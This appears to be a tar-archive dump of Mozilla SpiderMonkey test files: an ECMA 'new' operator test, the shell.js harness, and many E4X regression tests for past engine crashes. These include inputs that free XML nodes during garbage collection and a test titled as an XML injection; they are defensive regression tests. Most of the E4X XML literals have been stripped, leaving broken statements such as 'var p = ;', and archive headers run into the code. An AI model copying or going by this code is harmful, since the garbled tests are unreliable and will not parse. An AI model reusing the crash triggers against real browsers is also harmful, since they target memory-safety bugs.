Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-1-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var OBJECT = new Object(); DESCRIPTION = "OBJECT = new Object; var o = new OBJECT()"; EXPECTED = "error"; new TestCase( SECTION, "OBJECT = new Object; var o = new OBJECT()", "error", eval("o = new OBJECT()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/shell.js0000664000175000017500000004547212106270663016627 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // Explicitly set the default version. // See https://bugzilla.mozilla.org/show_bug.cgi?id=522760#c11 if (typeof version != 'undefined') { version(0); } var STATUS = "STATUS: "; var VERBOSE = false; var SECT_PREFIX = 'Section '; var SECT_SUFFIX = ' of test - '; var callStack = new Array(); var gDelayTestDriverEnd = false; var gTestcases = new Array(); var gTc = gTestcases.length; var BUGNUMBER = ''; var summary = ''; var description = ''; var expected = ''; var actual = ''; var msg = ''; var SECTION = ""; var VERSION = ""; var BUGNUMBER = ""; /* * constant strings */ var GLOBAL = this + ''; var PASSED = " PASSED! "; var FAILED = " FAILED! "; var DEBUG = false; var DESCRIPTION; var EXPECTED; /* * wrapper for test case constructor that doesn't require the SECTION * argument. */ function AddTestCase( description, expect, actual ) { new TestCase( SECTION, description, expect, actual ); } /* * Set up test environment. * */ function startTest() { // print out bugnumber if ( BUGNUMBER ) { print ("BUGNUMBER: " + BUGNUMBER ); } } function TestCase(n, d, e, a) { this.name = n; this.description = d; this.expect = e; this.actual = a; this.passed = getTestCaseResult(e, a); this.reason = ''; this.bugnumber = typeof(BUGNUMER) != 'undefined' ? BUGNUMBER : ''; this.type = (typeof window == 'undefined' ? 'shell' : 'browser'); gTestcases[gTc++] = this; } gFailureExpected = false; TestCase.prototype.dump = function () { // let reftest handle error reporting, otherwise // output a summary line. if (typeof document != "object" || !document.location.href.match(/jsreftest.html/)) { dump('\njstest: ' + this.path + ' ' + 'bug: ' + this.bugnumber + ' ' + 'result: ' + (this.passed ? 'PASSED':'FAILED') + ' ' + 'type: ' + this.type + ' ' + 'description: ' + toPrinted(this.description) + ' ' + // 'expected: ' + toPrinted(this.expect) + ' ' + // 'actual: ' + toPrinted(this.actual) + ' ' + 'reason: ' + toPrinted(this.reason) + '\n'); } }; TestCase.prototype.testPassed = (function TestCase_testPassed() { return this.passed; }); TestCase.prototype.testFailed = (function TestCase_testFailed() { return !this.passed; }); TestCase.prototype.testDescription = (function TestCase_testDescription() { return this.description + ' ' + this.reason; }); function getTestCases() { return gTestcases; } /* * The test driver searches for such a phrase in the test output. * If such phrase exists, it will set n as the expected exit code. */ function expectExitCode(n) { print('--- NOTE: IN THIS TESTCASE, WE EXPECT EXIT CODE ' + n + ' ---'); } /* * Statuses current section of a test */ function inSection(x) { return SECT_PREFIX + x + SECT_SUFFIX; } /* * Report a failure in the 'accepted' manner */ function reportFailure (msg) { var lines = msg.split ("\n"); var l; var funcName = currentFunc(); var prefix = (funcName) ? "[reported from " + funcName + "] ": ""; for (var i=0; i>= 4; b = digits[ch & 0xf]; ch >>= 4; if (ch) { c = digits[ch & 0xf]; ch >>= 4; d = digits[ch & 0xf]; result += "\\u" + d + c + b + a; } else { result += "\\x" + b + a; } } return result; } /* * assertEq(actual, expected [, message]) * Throw if the two arguments are not the same. The sameness of two values * is determined as follows. If both values are zero, they are the same iff * their signs are the same. Otherwise, if both values are NaN, they are the * same. Otherwise, they are the same if they compare equal using ===. * see https://bugzilla.mozilla.org/show_bug.cgi?id=480199 and * https://bugzilla.mozilla.org/show_bug.cgi?id=515285 */ if (typeof assertEq == 'undefined') { var assertEq = function (actual, expected, message) { function SameValue(v1, v2) { if (v1 === 0 && v2 === 0) return 1 / v1 === 1 / v2; if (v1 !== v1 && v2 !== v2) return true; return v1 === v2; } if (!SameValue(actual, expected)) { throw new TypeError('Assertion failed: got "' + actual + '", expected "' + expected + (message ? ": " + message : "")); } }; } /* * Compare expected result to actual result, if they differ (in value and/or * type) report a failure. If description is provided, include it in the * failure report. */ function reportCompare (expected, actual, description) { var expected_t = typeof expected; var actual_t = typeof actual; var output = ""; if (typeof description == "undefined") { description = ''; } else if (VERBOSE) { printStatus ("Comparing '" + description + "'"); } if (expected_t != actual_t) { output += "Type mismatch, expected type " + expected_t + ", actual type " + actual_t + " "; } else if (VERBOSE) { printStatus ("Expected type '" + expected_t + "' matched actual " + "type '" + actual_t + "'"); } if (expected != actual) { output += "Expected value '" + toPrinted(expected) + "', Actual value '" + toPrinted(actual) + "' "; } else if (VERBOSE) { printStatus ("Expected value '" + toPrinted(expected) + "' matched actual value '" + toPrinted(actual) + "'"); } var testcase = new TestCase("unknown-test-name", description, expected, actual); testcase.reason = output; // if running under reftest, let it handle result reporting. if (typeof document != "object" || !document.location.href.match(/jsreftest.html/)) { if (testcase.passed) { print(PASSED + description); } else { reportFailure (description + " : " + output); } } return testcase.passed; } /* * Attempt to match a regular expression describing the result to * the actual result, if they differ (in value and/or * type) report a failure. If description is provided, include it in the * failure report. */ function reportMatch (expectedRegExp, actual, description) { var expected_t = "string"; var actual_t = typeof actual; var output = ""; if (typeof description == "undefined") { description = ''; } else if (VERBOSE) { printStatus ("Comparing '" + description + "'"); } if (expected_t != actual_t) { output += "Type mismatch, expected type " + expected_t + ", actual type " + actual_t + " "; } else if (VERBOSE) { printStatus ("Expected type '" + expected_t + "' matched actual " + "type '" + actual_t + "'"); } var matches = expectedRegExp.test(actual); if (!matches) { output += "Expected match to '" + toPrinted(expectedRegExp) + "', Actual value '" + toPrinted(actual) + "' "; } else if (VERBOSE) { printStatus ("Expected match to '" + toPrinted(expectedRegExp) + "' matched actual value '" + toPrinted(actual) + "'"); } var testcase = new TestCase("unknown-test-name", description, true, matches); testcase.reason = output; // if running under reftest, let it handle result reporting. if (typeof document != "object" || !document.location.href.match(/jsreftest.html/)) { if (testcase.passed) { print(PASSED + description); } else { reportFailure (description + " : " + output); } } return testcase.passed; } /* * Puts funcName at the top of the call stack. This stack is used to show * a function-reported-from field when reporting failures. */ function enterFunc (funcName) { if (!funcName.match(/\(\)$/)) funcName += "()"; callStack.push(funcName); } /* * Pops the top funcName off the call stack. funcName is optional, and can be * used to check push-pop balance. */ function exitFunc (funcName) { var lastFunc = callStack.pop(); if (funcName) { if (!funcName.match(/\(\)$/)) funcName += "()"; if (lastFunc != funcName) reportCompare(funcName, lastFunc, "Test driver failure wrong exit function "); } } /* * Peeks at the top of the call stack. */ function currentFunc() { return callStack[callStack.length - 1]; } /* Calculate the "order" of a set of data points {X: [], Y: []} by computing successive "derivatives" of the data until the data is exhausted or the derivative is linear. */ function BigO(data) { var order = 0; var origLength = data.X.length; while (data.X.length > 2) { var lr = new LinearRegression(data); if (lr.b > 1e-6) { // only increase the order if the slope // is "great" enough order++; } if (lr.r > 0.98 || lr.Syx < 1 || lr.b < 1e-6) { // terminate if close to a line lr.r // small error lr.Syx // small slope lr.b break; } data = dataDeriv(data); } if (2 == origLength - order) { order = Number.POSITIVE_INFINITY; } return order; function LinearRegression(data) { /* y = a + bx for data points (Xi, Yi); 0 <= i < n b = (n*SUM(XiYi) - SUM(Xi)*SUM(Yi))/(n*SUM(Xi*Xi) - SUM(Xi)*SUM(Xi)) a = (SUM(Yi) - b*SUM(Xi))/n */ var i; if (data.X.length != data.Y.length) { throw 'LinearRegression: data point length mismatch'; } if (data.X.length < 3) { throw 'LinearRegression: data point length < 2'; } var n = data.X.length; var X = data.X; var Y = data.Y; this.Xavg = 0; this.Yavg = 0; var SUM_X = 0; var SUM_XY = 0; var SUM_XX = 0; var SUM_Y = 0; var SUM_YY = 0; for (i = 0; i < n; i++) { SUM_X += X[i]; SUM_XY += X[i]*Y[i]; SUM_XX += X[i]*X[i]; SUM_Y += Y[i]; SUM_YY += Y[i]*Y[i]; } this.b = (n * SUM_XY - SUM_X * SUM_Y)/(n * SUM_XX - SUM_X * SUM_X); this.a = (SUM_Y - this.b * SUM_X)/n; this.Xavg = SUM_X/n; this.Yavg = SUM_Y/n; var SUM_Ydiff2 = 0; var SUM_Xdiff2 = 0; var SUM_XdiffYdiff = 0; for (i = 0; i < n; i++) { var Ydiff = Y[i] - this.Yavg; var Xdiff = X[i] - this.Xavg; SUM_Ydiff2 += Ydiff * Ydiff; SUM_Xdiff2 += Xdiff * Xdiff; SUM_XdiffYdiff += Xdiff * Ydiff; } var Syx2 = (SUM_Ydiff2 - Math.pow(SUM_XdiffYdiff/SUM_Xdiff2, 2))/(n - 2); var r2 = Math.pow((n*SUM_XY - SUM_X * SUM_Y), 2) / ((n*SUM_XX - SUM_X*SUM_X)*(n*SUM_YY-SUM_Y*SUM_Y)); this.Syx = Math.sqrt(Syx2); this.r = Math.sqrt(r2); } function dataDeriv(data) { if (data.X.length != data.Y.length) { throw 'length mismatch'; } var length = data.X.length; if (length < 2) { throw 'length ' + length + ' must be >= 2'; } var X = data.X; var Y = data.Y; var deriv = {X: [], Y: [] }; for (var i = 0; i < length - 1; i++) { deriv.X[i] = (X[i] + X[i+1])/2; deriv.Y[i] = (Y[i+1] - Y[i])/(X[i+1] - X[i]); } return deriv; } return 0; } function compareSource(expect, actual, summary) { // compare source var expectP = expect. replace(/([(){},.:\[\]])/mg, ' $1 '). replace(/(\w+)/mg, ' $1 '). replace(/<(\/)? (\w+) (\/)?>/mg, '<$1$2$3>'). replace(/\s+/mg, ' '). replace(/new (\w+)\s*\(\s*\)/mg, 'new $1'); var actualP = actual. replace(/([(){},.:\[\]])/mg, ' $1 '). replace(/(\w+)/mg, ' $1 '). replace(/<(\/)? (\w+) (\/)?>/mg, '<$1$2$3>'). replace(/\s+/mg, ' '). replace(/new (\w+)\s*\(\s*\)/mg, 'new $1'); print('expect:\n' + expectP); print('actual:\n' + actualP); reportCompare(expectP, actualP, summary); // actual must be compilable if expect is? try { var expectCompile = 'No Error'; var actualCompile; eval(expect); try { eval(actual); actualCompile = 'No Error'; } catch(ex1) { actualCompile = ex1 + ''; } reportCompare(expectCompile, actualCompile, summary + ': compile actual'); } catch(ex) { } } function optionsInit() { // record initial values to support resetting // options to their initial values options.initvalues = {}; // record values in a stack to support pushing // and popping options options.stackvalues = []; var optionNames = options().split(','); for (var i = 0; i < optionNames.length; i++) { var optionName = optionNames[i]; if (optionName) { options.initvalues[optionName] = ''; } } } function optionsClear() { // turn off current settings // except jit and allow_xml. var optionNames = options().split(','); for (var i = 0; i < optionNames.length; i++) { var optionName = optionNames[i]; if (optionName && optionName != "methodjit" && optionName != "methodjit_always" && optionName != "allow_xml") { options(optionName); } } } function optionsPush() { var optionsframe = {}; options.stackvalues.push(optionsframe); var optionNames = options().split(','); for (var i = 0; i < optionNames.length; i++) { var optionName = optionNames[i]; if (optionName) { optionsframe[optionName] = ''; } } optionsClear(); } function optionsPop() { var optionsframe = options.stackvalues.pop(); optionsClear(); for (optionName in optionsframe) { options(optionName); } } function optionsReset() { try { optionsClear(); // turn on initial settings for (var optionName in options.initvalues) { if (!options.hasOwnProperty(optionName)) continue; options(optionName); } } catch(ex) { print('optionsReset: caught ' + ex); } } if (typeof options == 'function') { optionsInit(); optionsClear(); } function getTestCaseResult(expected, actual) { if (typeof expected != typeof actual) return false; if (typeof expected != 'number') // Note that many tests depend on the use of '==' here, not '==='. return actual == expected; // Distinguish NaN from other values. Using x != x comparisons here // works even if tests redefine isNaN. if (actual != actual) return expected != expected; if (expected != expected) return false; // Tolerate a certain degree of error. if (actual != expected) return Math.abs(actual - expected) <= 1E-10; // Here would be a good place to distinguish 0 and -0, if we wanted // to. However, doing so would introduce a number of failures in // areas where they don't seem important. For example, the WeekDay // function in ECMA-262 returns -0 for Sundays before the epoch, but // the Date functions in SpiderMonkey specified in terms of WeekDay // often don't. This seems unimportant. return true; } if (typeof dump == 'undefined') { if (typeof window == 'undefined' && typeof print == 'function') { dump = print; } else { dump = (function () {}); } } function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { // temporary hack to work around some unknown issue in 1.7 try { gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } catch(e) { print('test(): empty testcase for gTc = ' + gTc + ' ' + e); } } stopTest(); return ( gTestcases ); } /* * Begin printing functions. These functions use the shell's * print function. When running tests in the browser, these * functions, override these functions with functions that use * document.write. */ function writeTestCaseResult( expect, actual, string ) { var passed = getTestCaseResult( expect, actual ); // if running under reftest, let it handle result reporting. if (typeof document != "object" || !document.location.href.match(/jsreftest.html/)) { writeFormattedResult( expect, actual, string, passed ); } return passed; } function writeFormattedResult( expect, actual, string, passed ) { var s = ( passed ? PASSED : FAILED ) + string + ' expected: ' + expect; print(s); return passed; } function writeHeaderToLog( string ) { print( string ); } /* end of print functions */ /* * When running in the shell, run the garbage collector after the * test has completed. */ function stopTest() { var gc; if ( gc != undefined ) { gc(); } } /* * Convenience function for displaying failed test cases. Useful * when running tests manually. * */ function getFailedCases() { for ( var i = 0; i < gTestcases.length; i++ ) { if ( ! gTestcases[i].passed ) { print( gTestcases[i].description + " = " +gTestcases[i].actual + " expected: " + gTestcases[i].expect ); } } } function jsTestDriverEnd() { // gDelayTestDriverEnd is used to // delay collection of the test result and // signal to Spider so that tests can continue // to run after page load has fired. They are // responsible for setting gDelayTestDriverEnd = true // then when completed, setting gDelayTestDriverEnd = false // then calling jsTestDriverEnd() if (gDelayTestDriverEnd) { return; } try { optionsReset(); } catch(ex) { dump('jsTestDriverEnd ' + ex); } for (var i = 0; i < gTestcases.length; i++) { gTestcases[i].dump(); } } function jit(on) { } /* * Some tests need to know if we are in Rhino as opposed to SpiderMonkey */ function inRhino() { return (typeof defineClass == "function"); } /* these functions are useful for running tests manually in Rhino */ function GetContext() { return Packages.com.netscape.javascript.Context.getCurrentContext(); } function OptLevel( i ) { i = Number(i); var cx = GetContext(); cx.setOptimizationLevel(i); } /* end of Rhino functions */ mozjs17.0.0/js/src/tests/e4x/0000775000175000017500000000000012106270663015646 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/shell.js0000664000175000017500000000333512106270663017317 0ustar sstanglsstangl/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Report a failure in the 'accepted' manner */ function reportFailure (section, msg) { msg = inSection(section)+"\n"+msg; var lines = msg.split ("\n"); for (var i=0; i; print(uneval(this) + "\n"); gc(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-370016.js0000664000175000017500000000111012106270663022017 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 370016; var summary = 'with (nonxmlobj) function::'; var actual = 'No Exception'; var expect = 'No Exception'; printBugNumber(BUGNUMBER); START(summary); with (Math) print(function::sin(0)) TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-374112.js0000664000175000017500000000110312106270663022022 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 374112; var summary = 'E4X Do not assert with xml.setName(...)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); .setName(.name()); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-290499.js0000664000175000017500000000112612106270663022046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.5 XMLList Initialiser Don't Crash with empty Initializer"; var BUGNUMBER = 290499; var actual = "No Crash"; var expect = "No Crash"; printBugNumber(BUGNUMBER); START(summary); var emptyList = <>; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-01.js0000664000175000017500000000135712106270663022257 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = <> var N = 10; for (var i = 0; i != N; ++i) { xml[i] = <{"a"+i}/>; } function prepare() { for (var i = N - 1; i >= 0; --i) delete xml[i]; gc(); return "test"; } xml[N - 1] = { toString: prepare }; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-327564.js0000664000175000017500000000136612106270663022046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Hang due to cycle in XML object"; var BUGNUMBER = 327564; printBugNumber(BUGNUMBER); START(summary); var p =

; p.c = 1; var c = p.c[0]; p.insertChildBefore(null,c); printStatus(p.toXMLString()); printStatus('p.c[1] === c'); TEST(1, true, p.c[1] === c); p.c = 2 try { c.appendChild(p) // iloop here } catch(ex) { actual = ex instanceof Error; } TEST(2, true, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-370372.js0000664000175000017500000000213612106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 370372; var summary = 'with (xmllist) function::name assignments'; var actual = 'No Exception'; var expect = 'No Exception'; printBugNumber(BUGNUMBER); START(summary); var tests = [{ v: <>, expect: "" }, { v: <>, expect: "" }, { v: <>, expect: "\n" }]; function do_one(x, expect) { x.function::f = Math.sin; with (x) { function::toString = function::f = function() { return "test"; }; } assertEq(String(x), expect, "didn't implement ToString(XMLList) correctly: " + x.toXMLString()); if (x.f() !== "test") throw "Failed to set set function f"; } for (var i = 0; i != tests.length; ++i) do_one(tests[i].v, tests[i].expect); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-350206.js0000664000175000017500000000133212106270663022024 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 350206; var summary = 'Do not assert: serial <= n in jsxml.c'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var pa = var ch = pa.appendChild(ch); pa.@msg = "Before assertion failure"; pa.toXMLString(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/shell.js0000664000175000017500000000000012106270663020713 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Regress/regress-465063.js0000775000175000017500000000114612106270663022042 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash @ TraceRecorder::hasMethod'; var BUGNUMBER = 465063; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); jit(true); y = ; for (var z = 0; z < 2; ++z) { [] + y; }; jit(false); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-350206-1.js0000664000175000017500000000165412106270663022171 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = "350206"; var summary = "Order of destructuring, destructuring in the presence of " + "exceptions"; var actual, expect; printBugNumber(BUGNUMBER); START(summary); /************** * BEGIN TEST * **************/ var failed = "No crash"; try { var t1 = ; var n2 = new Namespace("http://ns2"); t1.@n2::a1 = "a1 from ns2"; t1.toXMLString(); } catch (ex) { failed = ex; } expect = "No crash"; actual = failed; TEST(1, expect, actual); mozjs17.0.0/js/src/tests/e4x/Regress/regress-375406.js0000664000175000017500000000110512106270663022033 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash @ PutProperty setting .attribute("")[0]'; var BUGNUMBER = 375406; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); .attribute('')[0] = 1; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-03.js0000664000175000017500000000150112106270663022250 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var list = <> var N = 10; for (var i = 0; i != N; ++i) list[i] = <{"a"+i}/>; function prepare() { for (var i = N - 1; i >= 0; --i) delete list[i]; gc(); return "test"; } print("Before list.contains"); list.contains({ toString: prepare }); print("After list.contains"); TEST(1, expect, actual); print("After TEST"); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-374106.js0000664000175000017500000000114312106270663022031 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 374106; var summary = 'e4x XMLList.contains execution halts with complex match'; var actual = 'No Error'; var expect = 'No Error'; printBugNumber(BUGNUMBER); START(summary); <>.contains(); 3; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-453915.js0000664000175000017500000000110712106270663022037 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'XML Injection possible via default xml namespace'; var BUGNUMBER = 453915; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); default xml namespace = '\''; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-277935.js0000664000175000017500000000141512106270663022047 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START('XML("") should create empty text node'); printBugNumber(277935); // Check that assignments like "a..b = c" causes proper error var expect = 'PASS1,PASS2'; var actual = ''; var msg = ; try { eval('msg..s = 0'); SHOULD_THROW(1); } catch (e) { actual += 'PASS1'; } try { eval('msg..s += 0'); SHOULD_THROW(2); } catch (e) { actual += ',PASS2'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-301596.js0000664000175000017500000000114212106270663022033 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "E4X - Do not crash with XMLList filters"; var BUGNUMBER = 301596; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); try { .(@a == 1); throw 5; } catch (e) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-331664.js0000664000175000017500000000111712106270663022034 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Null pointer deref crash deleting XML methods"; var BUGNUMBER = 331664; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); delete XML.prototype.attributes TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-369032.js0000664000175000017500000000144212106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: kid2->parent == xml || !kid2->parent'; var BUGNUMBER = 369032; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var y = ; var b = y.b; b.a = 3; var x = .appendChild(b); y.b = 5; expect = '\n 5\n'; actual = y.toXMLString(); TEST(1, expect, actual); expect = '\n \n 3\n \n'; actual = x.toXMLString(); TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-325425.js0000664000175000017500000000122712106270663022034 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 325425; var summary = 'jsxml.c: Bad assumptions about js_ConstructObject'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); try { QName = function() { }; .elements(""); } catch(ex) { printStatus(ex + ''); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-561031.js0000664000175000017500000010405412106270663022031 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Gary Kwong */ try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} 